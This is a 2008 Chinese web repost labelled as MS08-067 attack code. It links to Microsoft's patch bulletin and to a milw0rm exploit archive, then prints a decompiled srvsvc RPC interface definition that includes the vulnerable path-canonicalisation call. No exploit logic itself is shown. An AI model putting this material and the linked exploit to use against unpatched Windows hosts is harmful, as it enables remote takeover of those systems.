| 网站首页 | 365bet开户娱乐 | 缤纷网络 | 资讯中心 | 教育资源 | 科技前沿 | 娱乐天地 | 视频Flash | 资源搜罗 | 
天宇网络
您现在的位置: 天宇网络 >> 365bet开户娱乐 >> 网络安全 >> 黑客相关 >> 正文 今天是:
ms08-067攻击代码           ★★★
ms08-067攻击代码
作者:佚名 365bet平台返利_365bet彩票_澳门365bet来源:国外站点 点击数: 更新时间:2008-10-25 5:23:13


    微软发布高危漏洞补丁
    http://www.microsoft.com/china/technet/security/bulletin/ms08-067.mspx

    国外的东西,有兴趣的可以研究一下.
    http://milw0rm.com/sploits/2008-ms08-067.zip

srvsvc.idl

/*
 * IDL code generated by mIDA v1.0.8
 * Copyright (C) 2008, Tenable Network Security
 * http://cgi.tenablesecurity.com/tenable/mida.php
 *
 *
 * Decompilation information:
 * RPC stub type: interpreted / fully interpreted
 */

[
 uuid(4b324fc8-1670-01d3-1278-5a47bf6ee188),
 version(3.0)
]

interface mIDA_interface
{

typedef struct struct_33 {
 long elem_1;
 [string] wchar_t * elem_2;
 [size_is(elem_4)] char * elem_3;
 long elem_4;
 [string] wchar_t * elem_5;
 [string] wchar_t * elem_6;
} struct_33 ;

typedef struct struct_34 {
 long elem_1;
 [string] wchar_t * elem_2;
 [size_is(elem_4)] char * elem_3;
 long elem_4;
 [string] wchar_t * elem_5;
 [string] wchar_t * elem_6;
 long elem_7;
} struct_34 ;

typedef struct struct_35 {
 long elem_1;
 [string] wchar_t * elem_2;
 [size_is(elem_4)] char * elem_3;
 long elem_4;
 [string] wchar_t * elem_5;
 [string] wchar_t * elem_6;
 long elem_7;
 long elem_8;
 char elem_9[256];
} struct_35 ;

typedef struct struct_11 {
 long elem_1;
 long elem_2;
 long elem_3;
 long elem_4;
 long elem_5;
 long elem_6;
 long elem_7;
 long elem_8;
 long elem_9;
 long elem_10;
 long elem_11;
 long elem_12;
 long elem_13;
 long elem_14;
 long elem_15;
 long elem_16;
 long elem_17;
} struct_11 ;

typedef struct struct_12 {
 long elem_1;
 [string] wchar_t * elem_2;
 [size_is(elem_4)] char * elem_3;
 long elem_4;
 [string] wchar_t * elem_5;
} struct_12 ;

typedef struct struct_49 {
 [string] wchar_t * elem_1;
 [string] wchar_t * elem_2;
 long elem_3;
 long elem_4;
 long elem_5;
 long elem_6;
} struct_49 ;

typedef struct struct_4A {
 [string] wchar_t * elem_1;
 [string] wchar_t * elem_2;
 long elem_3;
 long elem_4;
 long elem_5;
 long elem_6;
 [string] wchar_t * elem_7;
} struct_4A ;

typedef struct struct_4B {
 [string] wchar_t * elem_1;
 [string] wchar_t * elem_2;
 long elem_3;
 long elem_4;
} struct_4B ;

typedef struct struct_4C {
 [string] wchar_t * elem_1;
 [string] wchar_t * elem_2;
 long elem_3;
 long elem_4;
 long elem_5;
 long elem_6;
 [string] wchar_t * elem_7;
 [string] wchar_t * elem_8;
} struct_4C ;

typedef struct struct_1C {
 [string] wchar_t * elem_1;
} struct_1C ;

typedef struct struct_1D {
 [string] wchar_t * elem_1;
 long elem_2;
 [string] wchar_t * elem_3;
 long elem_4;
} struct_1D ;

typedef struct struct_1F {
 [string] wchar_t * elem_1;
 long elem_2;
 [string] wchar_t * elem_3;
 long elem_4;
 long elem_5;
} struct_1F ;

typedef struct struct_25 {
 [string] wchar_t * elem_1;
 long elem_2;
 [string] wchar_t * elem_3;
} struct_25 ;

typedef struct struct_26 {
 [string] wchar_t * elem_1;
 long elem_2;
 [string] wchar_t * elem_3;
 long elem_4;
 long elem_5;
 long elem_6;
 [string] wchar_t * elem_7;
 [string] wchar_t * elem_8;
} struct_26 ;

typedef struct struct_27 {
 [string] wchar_t * elem_1;
 long elem_2;
 [string] wchar_t * elem_3;
 long elem_4;
 long elem_5;
 long elem_6;
 [string] wchar_t * elem_7;
 [string] wchar_t * elem_8;
 long elem_9;
 [size_is(elem_9)] char * elem_10;
} struct_27 ;

typedef struct struct_29 {
 long elem_1;
 [string] wchar_t * elem_2;
} struct_29 ;

typedef struct struct_2A {
 long elem_1;
 [string] wchar_t * elem_2;
 long elem_3;
 long elem_4;
 long elem_5;
 [string] wchar_t * elem_6;
} struct_2A ;

typedef struct struct_2B {
 long elem_1;
 [string] wchar_t * elem_2;
 long elem_3;
 long elem_4;
 long elem_5;
 [string] wchar_t * elem_6;
 long elem_7;
 long elem_8;
 long elem_9;
 long elem_10;
 long elem_11;
 long elem_12;
 [string] wchar_t * elem_13;
} struct_2B ;

typedef struct struct_2C {
 long elem_1;
 long elem_2;
 long elem_3;
 [string] wchar_t * elem_4;
 long elem_5;
 long elem_6;
 long elem_7;
 [string] wchar_t * elem_8;
 long elem_9;
 long elem_10;
 long elem_11;
 long elem_12;
 long elem_13;
 long elem_14;
 long elem_15;
 long elem_16;
 long elem_17;
 long elem_18;
 long elem_19;
 long elem_20;
 long elem_21;
 long elem_22;
 long elem_23;
 long elem_24;
 long elem_25;
 long elem_26;
 long elem_27;
 long elem_28;
 long elem_29;
 long elem_30;
 [string] wchar_t * elem_31;
} struct_2C ;

typedef struct struct_2D {
 long elem_1;
 long elem_2;
 long elem_3;
 [string] wchar_t * elem_4;
 long elem_5;
 long elem_6;
 long elem_7;
 [string] wchar_t * elem_8;
 long elem_9;
 long elem_10;
 long elem_11;
 long elem_12;
 long elem_13;
 long elem_14;
 long elem_15;
 long elem_16;
 long elem_17;
 long elem_18;
 long elem_19;
 long elem_20;
 long elem_21;
 long elem_22;
 long elem_23;
 long elem_24;
 long elem_25;
 long elem_26;
 long elem_27;
 long elem_28;
 long elem_29;
 long elem_30;
 [string] wchar_t * elem_31;
 long elem_32;
 long elem_33;
 [string] wchar_t * elem_34;
} struct_2D ;

typedef struct struct_2E {
 long elem_1;
 long elem_2;
 long elem_3;
 long elem_4;
 long elem_5;
 long elem_6;
 long elem_7;
 long elem_8;
 long elem_9;
 long elem_10;
 long elem_11;
 long elem_12;
 long elem_13;
 long elem_14;
 long elem_15;
 long elem_16;
 long elem_17;
 long elem_18;
} struct_2E ;

typedef struct struct_2F {
 long elem_1;
 long elem_2;
 long elem_3;
 long elem_4;
 long elem_5;
 long elem_6;
 long elem_7;
 long elem_8;
 long elem_9;
 long elem_10;
 long elem_11;
 long elem_12;
 long elem_13;
 long elem_14;
 long elem_15;
 long elem_16;
 long elem_17;
 long elem_18;
 [string] wchar_t * elem_19;
 long elem_20;
 long elem_21;
 long elem_22;
 long elem_23;
 long elem_24;
 long elem_25;
 long elem_26;
 long elem_27;
 long elem_28;
 long elem_29;
 long elem_30;
 long elem_31;
 long elem_32;
 long elem_33;
 long elem_34;
 long elem_35;
 long elem_36;
 long elem_37;
 long elem_38;
 long elem_39;
 long elem_40;
 long elem_41;
 long elem_42;
} struct_2F ;

typedef struct struct_30 {
 long elem_1;
 long elem_2;
 long elem_3;
 long elem_4;
 long elem_5;
 long elem_6;
 long elem_7;
 long elem_8;
 long elem_9;
 long elem_10;
 long elem_11;
 long elem_12;
 long elem_13;
 long elem_14;
 long elem_15;
 long elem_16;
 long elem_17;
 long elem_18;
 [string] wchar_t * elem_19;
 long elem_20;
 long elem_21;
 long elem_22;
 long elem_23;
 long elem_24;
 long elem_25;
 long elem_26;
 long elem_27;
 long elem_28;
 long elem_29;
 long elem_30;
 long elem_31;
 long elem_32;
 long elem_33;
 long elem_34;
 long elem_35;
 long elem_36;
 long elem_37;
 long elem_38;
 long elem_39;
 long elem_40;
 long elem_41;
 long elem_42;
 long elem_43;
 long elem_44;
 long elem_45;
 long elem_46;
 long elem_47;
 long elem_48;
 long elem_49;
 long elem_50;
 long elem_51;
 long elem_52;
 long elem_53;
 long elem_54;
 long elem_55;
 long elem_56;
} struct_30 ;

typedef struct struct_31 {
 [string] wchar_t elem_1[3];
} struct_31 ;

typedef [switch_type( unsigned long )] union union_28 {
 [case(0)]  struct struct_37 * elem_1;
 [case(1)]  struct struct_41 * elem_2;
 [case(2)]  struct struct_42 * elem_3;
 [case(502)]  struct struct_43 * elem_4;
 [case(501)]  struct struct_38 * elem_5;
 [default] ;
} union_28;

typedef struct struct_23 {
 long elem_1;
 long elem_2;
 long elem_3;
 [string] wchar_t * elem_4;
 [string] wchar_t * elem_5;
} struct_23 ;

typedef struct struct_20 {
 long elem_1;
} struct_20 ;

typedef struct struct_48 {
 long elem_1;
 long elem_2;
 long elem_3;
 long elem_4;
 long elem_5;
 [string] wchar_t * elem_6;
 [string] wchar_t * elem_7;
} struct_48 ;

typedef struct struct_3A {
 long elem_1;
 [size_is(elem_1)] struct struct_20 * elem_2;
} struct_3A ;

typedef struct struct_3B {
 long elem_1;
 [size_is(elem_1)] struct struct_48 * elem_2;
} struct_3B ;

typedef struct struct_3C {
 long elem_1;
 [size_is(elem_1)] struct struct_23 * elem_2;
} struct_3C ;

typedef [switch_type( unsigned long )] union union_22 {
 [case(2)]  struct struct_3A * elem_1;
 [case(3)]  struct struct_3C * elem_2;
 [default] ;
} union_22;

typedef [switch_type( unsigned long )] union union_21 {
 [case(0)]  struct struct_3A * elem_1;
 [case(1)]  struct struct_3B * elem_2;
 [default] ;
} union_21;

typedef [switch_type( unsigned long )] union union_1E {
 [case(0)]  struct struct_37 * elem_1;
 [case(1)]  struct struct_39 * elem_2;
 [default] ;
} union_1E;

typedef [switch_type( unsigned long )] union union_1B {
 [case(0)]  struct struct_37 * elem_1;
 [case(1)]  struct struct_38 * elem_2;
 [default] ;
} union_1B;

typedef [switch_type( unsigned long )] union union_24 {
 [case(0)]  struct struct_37 * elem_1;
 [case(1)]  struct struct_3D * elem_2;
 [case(2)]  struct struct_3E * elem_3;
 [case(10)]  struct struct_3F * elem_4;
 [case(502)]  struct struct_40 * elem_5;
 [default] ;
} union_24;

typedef [switch_type( unsigned long )] union union_1A {
 [case(0)]  struct struct_12 elem_1;
 [case(1)]  struct struct_33 elem_2;
 [case(2)]  struct struct_34 elem_3;
 [case(3)]  struct struct_35 elem_4;
 [default] ;
} union_1A;

typedef [switch_type( unsigned long )] union union_32 {
 [case(0)]  struct struct_44 * elem_1;
 [case(1)]  struct struct_45 * elem_2;
 [case(2)]  struct struct_46 * elem_3;
 [case(3)]  struct struct_47 * elem_4;
 [default] ;
} union_32;

typedef struct struct_1 {
 long elem_1;
 [switch_is(elem_1)] union union_1B elem_2;
} struct_1 ;

typedef [switch_type( unsigned long )] union union_2 {
 [case(0)]  struct struct_1C * elem_1;
 [case(1)]  struct struct_1D * elem_2;
 [default] ;
} union_2;

typedef struct struct_3 {
 long elem_1;
 [switch_is(elem_1)] union union_1E elem_2;
} struct_3 ;

typedef [switch_type( unsigned long )] union union_4 {
 [case(0)]  struct struct_1C * elem_1;
 [case(1)]  struct struct_1F * elem_2;
 [case(1002)]  struct struct_20 * elem_3;
 [case(1003)]  struct struct_1C * elem_4;
 [default] ;
} union_4;

typedef [switch_type( unsigned long )] union union_5 {
 [case(0)]  struct struct_1C * elem_1;
 [case(1)]  struct struct_1F * elem_2;
 [case(1002)]  struct struct_20 * elem_3;
 [case(1003)]  struct struct_1C * elem_4;
 [default] ;
} union_5;

typedef struct struct_6 {
 long elem_1;
 [switch_is(elem_1)] union union_21 elem_2;
} struct_6 ;

typedef struct struct_7 {
 long elem_1;
 [switch_is(elem_1)] union union_22 elem_2;
} struct_7 ;

typedef [switch_type( unsigned long )] union union_8 {
 [case(2)]  struct struct_20 * elem_1;
 [case(3)]  struct struct_23 * elem_2;
 [default] ;
} union_8;

typedef struct struct_9 {
 long elem_1;
 [switch_is(elem_1)] union union_24 elem_2;
} struct_9 ;

typedef [switch_type( unsigned long )] union union_A {
 [case(0)]  struct struct_1C * elem_1;
 [case(1)]  struct struct_25 * elem_2;
 [case(2)]  struct struct_26 * elem_3;
 [case(502)]  struct struct_27 * elem_4;
 [case(1004)]  struct struct_1C * elem_5;
 [case(1006)]  struct struct_20 * elem_6;
 [case(1501)]  struct struct_15 * elem_7;
 [case(1005)]  struct struct_20 * elem_8;
 [case(501)]  struct struct_1D * elem_9;
 [default] ;
} union_A;

typedef struct struct_B {
 long elem_1;
 [switch_is(elem_1)] union union_28 elem_2;
} struct_B ;

typedef [switch_type( unsigned long )] union union_C {
 [case(0)]  struct struct_1C * elem_1;
 [case(1)]  struct struct_25 * elem_2;
 [case(2)]  struct struct_26 * elem_3;
 [case(502)]  struct struct_27 * elem_4;
 [case(1004)]  struct struct_1C * elem_5;
 [case(1006)]  struct struct_20 * elem_6;
 [case(1501)]  struct struct_15 * elem_7;
 [case(1005)]  struct struct_20 * elem_8;
 [case(501)]  struct struct_1D * elem_9;
 [default] ;
} union_C;

typedef [switch_type( unsigned long )] union union_D {
 [case(0)]  struct struct_1C * elem_1;
 [case(1)]  struct struct_25 * elem_2;
 [case(2)]  struct struct_26 * elem_3;
 [case(502)]  struct struct_27 * elem_4;
 [case(1004)]  struct struct_1C * elem_5;
 [case(1006)]  struct struct_20 * elem_6;
 [case(1501)]  struct struct_15 * elem_7;
 [case(1005)]  struct struct_20 * elem_8;
 [case(501)]  struct struct_1D * elem_9;
 [default] ;
} union_D;

typedef [switch_type( unsigned long )] union union_E {
 [case(100)]  struct struct_29 * elem_1;
 [case(101)]  struct struct_2A * elem_2;
 [case(102)]  struct struct_2B * elem_3;
 [case(402)]  struct struct_2C * elem_4;
 [case(403)]  struct struct_2D * elem_5;
 [case(502)]  struct struct_2E * elem_6;
 [case(503)]  struct struct_2F * elem_7;
 [case(599)]  struct struct_30 * elem_8;
 [case(1005)]  struct struct_1C * elem_9;
 [case(1107)]  struct struct_20 * elem_10;
 [case(1010)]  struct struct_20 * elem_11;
 [case(1016)]  struct struct_20 * elem_12;
 [case(1017)]  struct struct_20 * elem_13;
 [case(1018)]  struct struct_20 * elem_14;
 [case(1501)]  struct struct_20 * elem_15;
 [case(1502)]  struct struct_20 * elem_16;
 [case(1503)]  struct struct_20 * elem_17;
 [case(1506)]  struct struct_20 * elem_18;
 [case(1509)]  struct struct_20 * elem_19;
 [case(1510)]  struct struct_20 * elem_20;
 [case(1511)]  struct struct_20 * elem_21;
 [case(1512)]  struct struct_20 * elem_22;
 [case(1513)]  struct struct_20 * elem_23;
 [case(1514)]  struct struct_20 * elem_24;
 [case(1515)]  struct struct_20 * elem_25;
 [case(1516)]  struct struct_20 * elem_26;
 [case(1518)]  struct struct_20 * elem_27;
 [case(1520)]  struct struct_20 * elem_28;
 [case(1521)]  struct struct_20 * elem_29;
 [case(1522)]  struct struct_20 * elem_30;
 [case(1523)]  struct struct_20 * elem_31;
 [case(1524)]  struct struct_20 * elem_32;
 [case(1525)]  struct struct_20 * elem_33;
 [case(1528)]  struct struct_20 * elem_34;
 [case(1529)]  struct struct_20 * elem_35;
 [case(1530)]  struct struct_20 * elem_36;
 [case(1533)]  struct struct_20 * elem_37;
 [case(1534)]  struct struct_20 * elem_38;
 [case(1535)]  struct struct_20 * elem_39;
 [case(1536)]  struct struct_20 * elem_40;
 [case(1537)]  struct struct_20 * elem_41;
 [case(1538)]  struct struct_20 * elem_42;
 [case(1539)]  struct struct_20 * elem_43;
 [case(1540)]  struct struct_20 * elem_44;
 [case(1541)]  struct struct_20 * elem_45;
 [case(1542)]  struct struct_20 * elem_46;
 [case(1543)]  struct struct_20 * elem_47;
 [case(1544)]  struct struct_20 * elem_48;
 [case(1545)]  struct struct_20 * elem_49;
 [case(1546)]  struct struct_20 * elem_50;
 [case(1547)]  struct struct_20 * elem_51;
 [case(1548)]  struct struct_20 * elem_52;
 [case(1549)]  struct struct_20 * elem_53;
 [case(1550)]  struct struct_20 * elem_54;
 [case(1552)]  struct struct_20 * elem_55;
 [case(1553)]  struct struct_20 * elem_56;
 [case(1554)]  struct struct_20 * elem_57;
 [case(1555)]  struct struct_20 * elem_58;
 [case(1556)]  struct struct_20 * elem_59;
 [default] ;
} union_E;

typedef [switch_type( unsigned long )] union union_F {
 [case(100)]  struct struct_29 * elem_1;
 [case(101)]  struct struct_2A * elem_2;
 [case(102)]  struct struct_2B * elem_3;
 [case(402)]  struct struct_2C * elem_4;
 [case(403)]  struct struct_2D * elem_5;
 [case(502)]  struct struct_2E * elem_6;
 [case(503)]  struct struct_2F * elem_7;
 [case(599)]  struct struct_30 * elem_8;
 [case(1005)]  struct struct_1C * elem_9;
 [case(1107)]  struct struct_20 * elem_10;
 [case(1010)]  struct struct_20 * elem_11;
 [case(1016)]  struct struct_20 * elem_12;
 [case(1017)]  struct struct_20 * elem_13;
 [case(1018)]  struct struct_20 * elem_14;
 [case(1501)]  struct struct_20 * elem_15;
 [case(1502)]  struct struct_20 * elem_16;
 [case(1503)]  struct struct_20 * elem_17;
 [case(1506)]  struct struct_20 * elem_18;
 [case(1509)]  struct struct_20 * elem_19;
 [case(1510)]  struct struct_20 * elem_20;
 [case(1511)]  struct struct_20 * elem_21;
 [case(1512)]  struct struct_20 * elem_22;
 [case(1513)]  struct struct_20 * elem_23;
 [case(1514)]  struct struct_20 * elem_24;
 [case(1515)]  struct struct_20 * elem_25;
 [case(1516)]  struct struct_20 * elem_26;
 [case(1518)]  struct struct_20 * elem_27;
 [case(1520)]  struct struct_20 * elem_28;
 [case(1521)]  struct struct_20 * elem_29;
 [case(1522)]  struct struct_20 * elem_30;
 [case(1523)]  struct struct_20 * elem_31;
 [case(1524)]  struct struct_20 * elem_32;
 [case(1525)]  struct struct_20 * elem_33;
 [case(1528)]  struct struct_20 * elem_34;
 [case(1529)]  struct struct_20 * elem_35;
 [case(1530)]  struct struct_20 * elem_36;
 [case(1533)]  struct struct_20 * elem_37;
 [case(1534)]  struct struct_20 * elem_38;
 [case(1535)]  struct struct_20 * elem_39;
 [case(1536)]  struct struct_20 * elem_40;
 [case(1537)]  struct struct_20 * elem_41;
 [case(1538)]  struct struct_20 * elem_42;
 [case(1539)]  struct struct_20 * elem_43;
 [case(1540)]  struct struct_20 * elem_44;
 [case(1541)]  struct struct_20 * elem_45;
 [case(1542)]  struct struct_20 * elem_46;
 [case(1543)]  struct struct_20 * elem_47;
 [case(1544)]  struct struct_20 * elem_48;
 [case(1545)]  struct struct_20 * elem_49;
 [case(1546)]  struct struct_20 * elem_50;
 [case(1547)]  struct struct_20 * elem_51;
 [case(1548)]  struct struct_20 * elem_52;
 [case(1549)]  struct struct_20 * elem_53;
 [case(1550)]  struct struct_20 * elem_54;
 [case(1552)]  struct struct_20 * elem_55;
 [case(1553)]  struct struct_20 * elem_56;
 [case(1554)]  struct struct_20 * elem_57;
 [case(1555)]  struct struct_20 * elem_58;
 [case(1556)]  struct struct_20 * elem_59;
 [default] ;
} union_F;

typedef struct struct_10 {
 long elem_1;
 [size_is(elem_1), length_is(elem_1)] struct struct_31 * elem_2;
} struct_10 ;

typedef struct struct_13 {
 long elem_1;
 [switch_is(elem_1)] union union_32 elem_2;
} struct_13 ;

typedef struct struct_14 {
 long elem_1;
 long elem_2;
 long elem_3;
 long elem_4;
 long elem_5;
 long elem_6;
 long elem_7;
 long elem_8;
 long elem_9;
 long elem_10;
 long elem_11;
 long elem_12;
} struct_14 ;

typedef struct struct_15 {
 long elem_1;
 [size_is(elem_1)] char * elem_2;
} struct_15 ;

typedef [switch_type( unsigned long )] union union_16 {
 [case(0)]  struct struct_12 elem_1;
 [case(1)]  struct struct_33 elem_2;
 [case(2)]  struct struct_34 elem_3;
 [case(3)]  struct struct_35 elem_4;
 [default] ;
} union_16;

typedef struct struct_17 {
 long elem_1;
 short elem_2;
 short elem_3;
 byte elem_4[8];
} struct_17 ;

typedef struct struct_18 {
 long elem_1;
 [size_is(elem_1)] struct struct_36 * elem_2;
} struct_18 ;

typedef struct struct_19 {
 long elem_1;
 [size_is(elem_1)] struct struct_29 elem_2[];
} struct_19 ;

typedef struct struct_36 {
 struct struct_17 elem_1;
 [string] wchar_t * elem_2;
} struct_36 ;

typedef struct struct_37 {
 long elem_1;
 [size_is(elem_1)] struct struct_1C * elem_2;
} struct_37 ;

typedef struct struct_38 {
 long elem_1;
 [size_is(elem_1)] struct struct_1D * elem_2;
} struct_38 ;

typedef struct struct_39 {
 long elem_1;
 [size_is(elem_1)] struct struct_1F * elem_2;
} struct_39 ;

typedef struct struct_3D {
 long elem_1;
 [size_is(elem_1)] struct struct_49 * elem_2;
} struct_3D ;

typedef struct struct_3E {
 long elem_1;
 [size_is(elem_1)] struct struct_4A * elem_2;
} struct_3E ;

typedef struct struct_3F {
 long elem_1;
 [size_is(elem_1)] struct struct_4B * elem_2;
} struct_3F ;

typedef struct struct_40 {
 long elem_1;
 [size_is(elem_1)] struct struct_4C * elem_2;
} struct_40 ;

typedef struct struct_41 {
 long elem_1;
 [size_is(elem_1)] struct struct_25 * elem_2;
} struct_41 ;

typedef struct struct_42 {
 long elem_1;
 [size_is(elem_1)] struct struct_26 * elem_2;
} struct_42 ;

typedef struct struct_43 {
 long elem_1;
 [size_is(elem_1)] struct struct_27 * elem_2;
} struct_43 ;

typedef struct struct_44 {
 long elem_1;
 [size_is(elem_1)] struct struct_12 * elem_2;
} struct_44 ;

typedef struct struct_45 {
 long elem_1;
 [size_is(elem_1)] struct struct_33 * elem_2;
} struct_45 ;

typedef struct struct_46 {
 long elem_1;
 [size_is(elem_1)] struct struct_34 * elem_2;
} struct_46 ;

typedef struct struct_47 {
 long elem_1;
 [size_is(elem_1)] struct struct_35 * elem_2;
} struct_47 ;

/* opcode: 0x00, address: 0x7509DA31 */

long  _NetrCharDevEnum (
 [in][unique][string] wchar_t * arg_1,
 [in, out] struct struct_1 * arg_2,
 [in] long arg_3,
 [out] long * arg_4,
 [in, out][unique] long * arg_5
);


/* opcode: 0x01, address: 0x7509DA1B */

long  _NetrCharDevGetInfo (
 [in][unique][string] wchar_t * arg_1,
 [in][string] wchar_t * arg_2,
 [in] long arg_3,
 [out][switch_is(arg_3)] union union_2 * arg_4
);


/* opcode: 0x02, address: 0x7509DA47 */

long  _NetrCharDevControl (
 [in][unique][string] wchar_t * arg_1,
 [in][string] wchar_t * arg_2,
 [in] long arg_3
);


/* opcode: 0x03, address: 0x7509DA26 */

long  _NetrCharDevQEnum (
 [in][unique][string] wchar_t * arg_1,
 [in][unique][string] wchar_t * arg_2,
 [in, out] struct struct_3 * arg_3,
 [in] long arg_4,
 [out] long * arg_5,
 [in, out][unique] long * arg_6
);


/* opcode: 0x04, address: 0x7509DA31 */

long  _NetrCharDevEnum4 (
 [in][unique][string] wchar_t * arg_1,
 [in][string] wchar_t * arg_2,
 [in][string] wchar_t * arg_3,
 [in] long arg_4,
 [out][switch_is(arg_4)] union union_4 * arg_5
);


/* opcode: 0x05, address: 0x7509DA31 */

long  _NetrCharDevEnum5 (
 [in][unique][string] wchar_t * arg_1,
 [in][string] wchar_t * arg_2,
 [in] long arg_3,
 [in][switch_is(arg_3)] union union_5 * arg_4,
 [in, out][unique] long * arg_5
);


/* opcode: 0x06, address: 0x7509DA3C */

long  _NetrCharDevQPurge (
 [in][unique][string] wchar_t * arg_1,
 [in][string] wchar_t * arg_2
);


/* opcode: 0x07, address: 0x7509DA47 */

long  _NetrCharDevControl7 (
 [in][unique][string] wchar_t * arg_1,
 [in][string] wchar_t * arg_2,
 [in][string] wchar_t * arg_3
);


/* opcode: 0x08, address: 0x7509DB95 */

long  _NetrConnectionEnum (
 [in][unique][string] wchar_t * arg_1,
 [in][unique][string] wchar_t * arg_2,
 [in, out] struct struct_6 * arg_3,
 [in] long arg_4,
 [out] long * arg_5,
 [in, out][unique] long * arg_6
);


/* opcode: 0x09, address: 0x7509ECA2 */

long  _NetrFileEnum (
 [in][unique][string] wchar_t * arg_1,
 [in][unique][string] wchar_t * arg_2,
 [in][unique][string] wchar_t * arg_3,
 [in, out] struct struct_7 * arg_4,
 [in] long arg_5,
 [out] long * arg_6,
 [in, out][unique] long * arg_7
);


/* opcode: 0x0A, address: 0x7509ECF2 */

long  _NetrFileGetInfo (
 [in][unique][string] wchar_t * arg_1,
 [in] long arg_2,
 [in] long arg_3,
 [out][switch_is(arg_3)] union union_8 * arg_4
);


/* opcode: 0x0B, address: 0x7509EBA3 */

long  _NetrFileClose (
 [in][unique][string] wchar_t * arg_1,
 [in] long arg_2
);


/* opcode: 0x0C, address: 0x7509F6A6 */

long  _NetrSessionEnum (
 [in][unique][string] wchar_t * arg_1,
 [in][unique][string] wchar_t * arg_2,
 [in][unique][string] wchar_t * arg_3,
 [in, out] struct struct_9 * arg_4,
 [in] long arg_5,
 [out] long * arg_6,
 [in, out][unique] long * arg_7
);


/* opcode: 0x0D, address: 0x7509F616 */

long  _NetrSessionDel (
 [in][unique][string] wchar_t * arg_1,
 [in][unique][string] wchar_t * arg_2,
 [in][unique][string] wchar_t * arg_3
);


/* opcode: 0x0E, address: 0x75094480 */

long  _NetrShareAdd (
 [in][unique][string] wchar_t * arg_1,
 [in] long arg_2,
 [in][switch_is(arg_2)] union union_A * arg_3,
 [in, out][unique] long * arg_4
);


/* opcode: 0x0F, address: 0x750936DB */

long  _NetrShareEnum (
 [in][unique][string] wchar_t * arg_1,
 [in, out] struct struct_B * arg_2,
 [in] long arg_3,
 [out] long * arg_4,
 [in, out][unique] long * arg_5
);


/* opcode: 0x10, address: 0x75093601 */

long  _NetrShareGetInfo (
 [in][unique][string] wchar_t * arg_1,
 [in][string] wchar_t * arg_2,
 [in] long arg_3,
 [out][switch_is(arg_3)] union union_C * arg_4
);


/* opcode: 0x11, address: 0x750966BB */

long  _NetrShareSetInfo (
 [in][unique][string] wchar_t * arg_1,
 [in][string] wchar_t * arg_2,
 [in] long arg_3,
 [in][switch_is(arg_3)] union union_D * arg_4,
 [in, out][unique] long * arg_5
);


/* opcode: 0x12, address: 0x7509650F */

long  _NetrShareDel (
 [in][unique][string] wchar_t * arg_1,
 [in][string] wchar_t * arg_2,
 [in] long arg_3
);


/* opcode: 0x13, address: 0x7509FB60 */

long  _NetrShareDelSticky (
 [in][unique][string] wchar_t * arg_1,
 [in][string] wchar_t * arg_2,
 [in] long arg_3
);


/* opcode: 0x14, address: 0x7509FAAB */

long  _NetrShareCheck (
 [in][unique][string] wchar_t * arg_1,
 [in][string] wchar_t * arg_2,
 [out] long * arg_3
);


/* opcode: 0x15, address: 0x7509FE82 */

long  _NetrServerGetInfo (
 [in][unique][string] wchar_t * arg_1,
 [in] long arg_2,
 [out][switch_is(arg_2)] union union_E * arg_3
);


/* opcode: 0x16, address: 0x750A026B */

long  _NetrServerSetInfo (
 [in][unique][string] wchar_t * arg_1,
 [in] long arg_2,
 [in][switch_is(arg_2)] union union_F * arg_3,
 [in, out][unique] long * arg_4
);


/* opcode: 0x17, address: 0x7509EA86 */

long  _NetrServerDiskEnum (
 [in][unique][string] wchar_t * arg_1,
 [in] long arg_2,
 [in, out] struct struct_10 * arg_3,
 [in] long arg_4,
 [out] long * arg_5,
 [in, out][unique] long * arg_6
);


/* opcode: 0x18, address: 0x750A0A3C */

long  _NetrServerStatisticsGet (
 [in][unique][string] wchar_t * arg_1,
 [in][unique][string] wchar_t * arg_2,
 [in] long arg_3,
 [in] long arg_4,
 [out][ref] struct struct_11 ** arg_5
);


/* opcode: 0x19, address: 0x750A0E3E */

long  _NetrServerTransportAdd (
 [in][unique][string] wchar_t * arg_1,
 [in] long arg_2,
 [in][ref] struct struct_12 * arg_3
);


/* opcode: 0x1A, address: 0x750A0CE6 */

long  _NetrServerTransportEnum (
 [in][unique][string] wchar_t * arg_1,
 [in, out] struct struct_13 * arg_2,
 [in] long arg_3,
 [out] long * arg_4,
 [in, out][unique] long * arg_5
);


/* opcode: 0x1B, address: 0x750A1066 */

long  _NetrServerTransportDel (
 [in][unique][string] wchar_t * arg_1,
 [in] long arg_2,
 [in][ref] struct struct_12 * arg_3
);


/* opcode: 0x1C, address: 0x750A0B60 */

long  _NetrRemoteTOD (
 [in][unique][string] wchar_t * arg_1,
 [out][ref] struct struct_14 ** arg_2
);


/* opcode: 0x1D, address: 0x7509591A */

long  _I_NetrServerSetServiceBits (
 [in][unique][string] wchar_t * arg_1,
 [in][unique][string] wchar_t * arg_2,
 [in] long arg_3,
 [in] long arg_4
);


/* opcode: 0x1E, address: 0x7509D95E */

long  _NetprPathType (
 [in][unique][string] wchar_t * arg_1,
 [in][string] wchar_t * arg_2,
 [out] long * arg_3,
 [in] long arg_4
);


/* opcode: 0x1F, address: 0x7509D97A */

long  _NetprPathCanonicalize (
 [in][unique][string] wchar_t * arg_1,
 [in][string] wchar_t * arg_2,
 [out][size_is(arg_4)] char * arg_3,
 [in][range(0,64000)] long arg_4,
 [in][string] wchar_t * arg_5,
 [in, out] long * arg_6,
 [in] long arg_7
);


/* opcode: 0x20, address: 0x7509D99F */

long  _NetprPathCompare (
 [in][unique][string] wchar_t * arg_1,
 [in][string] wchar_t * arg_2,
 [in][string] wchar_t * arg_3,
 [in] long arg_4,
 [in] long arg_5
);


/* opcode: 0x21, address: 0x7509D9BE */

long  _NetprNameValidate (
 [in][unique][string] wchar_t * arg_1,
 [in][string] wchar_t * arg_2,
 [in] long arg_3,
 [in] long arg_4
);


/* opcode: 0x22, address: 0x7509D9DA */

long  _NetprNameCanonicalize (
 [in][unique][string] wchar_t * arg_1,
 [in][string] wchar_t * arg_2,
 [out][size_is(arg_4)] wchar_t * arg_3,
 [in][range(0,64000)] long arg_4,
 [in] long arg_5,
 [in] long arg_6
);


/* opcode: 0x23, address: 0x7509D9FC */

long  _NetprNameCompare (
 [in][unique][string] wchar_t * arg_1,
 [in][string] wchar_t * arg_2,
 [in][string] wchar_t * arg_3,
 [in] long arg_4,
 [in] long arg_5
);


/* opcode: 0x24, address: 0x7509FC21 */

long  _NetrShareEnumSticky (
 [in][unique][string] wchar_t * arg_1,
 [in, out] struct struct_B * arg_2,
 [in] long arg_3,
 [out] long * arg_4,
 [in, out][unique] long * arg_5
);


